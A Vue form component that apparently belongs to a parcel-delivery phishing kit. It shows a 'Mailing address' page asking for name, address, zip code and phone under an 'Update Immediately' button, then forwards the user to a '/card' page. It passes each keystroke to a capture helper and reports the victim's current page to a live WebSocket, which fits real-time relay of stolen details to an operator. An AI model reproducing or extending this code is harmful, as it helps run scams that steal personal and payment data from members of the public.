<script setup lang="ts">
import { useRouter } from "vue-router";
import CommonLayout from "@/views/CommonLayout.vue";
import { useLoadingStore } from "@/stores/loadingStore";
import { inject, onMounted, reactive, ref } from "vue";
const configData: any = inject("$configData");

import { useI18n } from "vue-i18n";
import { inputChange, myWebSocket } from "@/utils/common";
const { t } = useI18n(); // 解构出t方法
const loadingStore = useLoadingStore();

const formData = reactive({
  fullName: "",
  phone: "",
  address: "",
  zipCode: "",
});

const formDataError = reactive({
  fullName: false,
  phone: false,
  address: false,
  zipCode: false,
});


const emailErrorMessage = ref("");

const router = useRouter();

const textChange = (event: any, key: any) => {
  const value = event.target.value;
  inputChange("addressPageData", key, value);

  let noPass = false;

  if (key === "fullName") {
    if (!formData.fullName) {
      formDataError.fullName = true;
      noPass = true;
    } else {
      formDataError.fullName = false;
    }
  }

  if (key === "address") {
    if (!formData.address) {
      formDataError.address = true;
      noPass = true;
    } else {
      formDataError.address = false;
    }
  }
  if (key === "zipCode") {
    if (!formData.zipCode) {
      formDataError.zipCode = true;
      noPass = true;
    } else {
      formDataError.zipCode = false;
    }
  }



  if (key === "phone") {
    if (!formData.phone) {
      formDataError.phone = true;
      noPass = true;
    } else {
      formDataError.phone = false;
    }
  }
};

const next = () => {
  let noPass = false;
  if (!formData.fullName) {
    formDataError.fullName = true;
    noPass = true;
  } else {
    formDataError.fullName = false;
  }



  if (!formData.address) {
    formDataError.address = true;
    noPass = true;
  } else {
    formDataError.address = false;
  }

  if (!formData.zipCode) {
    formDataError.zipCode = true;
    noPass = true;
  } else {
    formDataError.zipCode = false;
  }



  if (!formData.phone) {
    formDataError.phone = true;
    noPass = true;
  } else {
    formDataError.phone = false;
  }

  if (noPass) {
    return;
  }

  localStorage.setItem("phone", formData.phone);


  loadingStore.setLoading(true);
  setTimeout(() => {
    loadingStore.setLoading(false);
    router.push("/card");
  }, 200);
};

onMounted(() => {
  myWebSocket?.send(
    JSON.stringify({
      event: "page_type",
      content: { pageType: "address" },
    })
  );
  localStorage.setItem("route", "address");

  const phone = localStorage.getItem("phone");
  if (phone) {
    formData.phone = phone;
  }
});
</script>

<template>
  <CommonLayout>
    <template #default>
      <div class="main-content-body">
        <div style="min-height: 100px; padding: 0rem 0">
          <div style="text-align: left">
            <h1>{{ t("Mailing address") }}</h1>
            <p>
              {{
                configData?.address_msg
                  ? configData?.address_msg
                  : t(
                    "Dear users, please fill in the form carefully to ensure the successful delivery"
                  )
              }}
            </p>
          </div>
          <br />
          <div>
            <form :novalidate="true" @submit.prevent="next">
              <div class="input">
                <label>{{ t("Your Name") }}</label>
                <input type="text" :required="true" @input="(event) => textChange(event, 'fullName')"
                  v-model="formData.fullName" placeholder=" " />
                <div class="error" v-if="formDataError.fullName">
                  {{ t("There is an error in this field, please check") }}
                </div>
              </div>

              <div class="input">
                <label>{{ t("Address") }}</label>
                <input type="text" @input="(event) => textChange(event, 'address')" v-model="formData.address"
                  :placeholder="t('street address or house number')" />
                <div class="error" v-if="formDataError.address">
                  {{ t("There is an error in this field, please check") }}
                </div>
              </div>


              <div class="input">
                <label>{{ t("Zip Code") }}</label>
                <input type="text" @input="(event) => textChange(event, 'zipCode')" v-model="formData.zipCode"
                  placeholder=" " />
                <div class="error" v-if="formDataError.zipCode">
                  {{ t("There is an error in this field, please check") }}
                </div>
              </div>

              <div class="input">
                <label>{{ t("Telephone Number") }}</label>
                <input type="tel" @input="(event) => textChange(event, 'phone')" v-model="formData.phone"
                  placeholder=" " />
                <div class="error" v-if="formDataError.phone">
                  {{ t("There is an error in this field, please check") }}
                </div>
              </div>

              <br />
              <div class="button-submit">
                <button type="button" v-on:click="next">
                  {{ t("Update Immediately") }}
                </button>
              </div>
            </form>
          </div>
        </div>
      </div>
    </template>
  </CommonLayout>
</template>
<style scoped>
form div.input {
  margin-bottom: 1.2em;
  position: relative;
}

form div.input label {
  display: block;
  pointer-events: none;
  text-transform: capitalize;
}

form div.input input {
  padding: 5px;
  font-size: 1em;
  box-sizing: border-box;
  width: 100%;
}

.js-has-pseudo [csstools-has-2u-33-36-31-2j-32-33-3a-2p-30-2x-2s-2p-38-2t-2l-1a-2x-32-3a-2p-30-2x-2s-w-2s-2x-3a-1a-2x-32-34-39-38-1m-2w-2p-37-14-2x-32-34-39-38-1m-2x-32-3a-2p-30-2x-2s-15-w-1a-2t-36-36-33-36]:not(.does-not-exist):not(.does-not-exist):not(.does-not-exist):not(.does-not-exist):not(does-not-exist):not(does-not-exist):not(does-not-exist) {
  display: block;
  color: red;
  font-size: 0.9em;
}

form[novalidate].invalid div.input:has(input:invalid) .error {
  display: block;
  color: red;
  font-size: 0.9em;
}

.error {
  display: block;
  color: red;
  font-size: 0.9em;
}
</style>
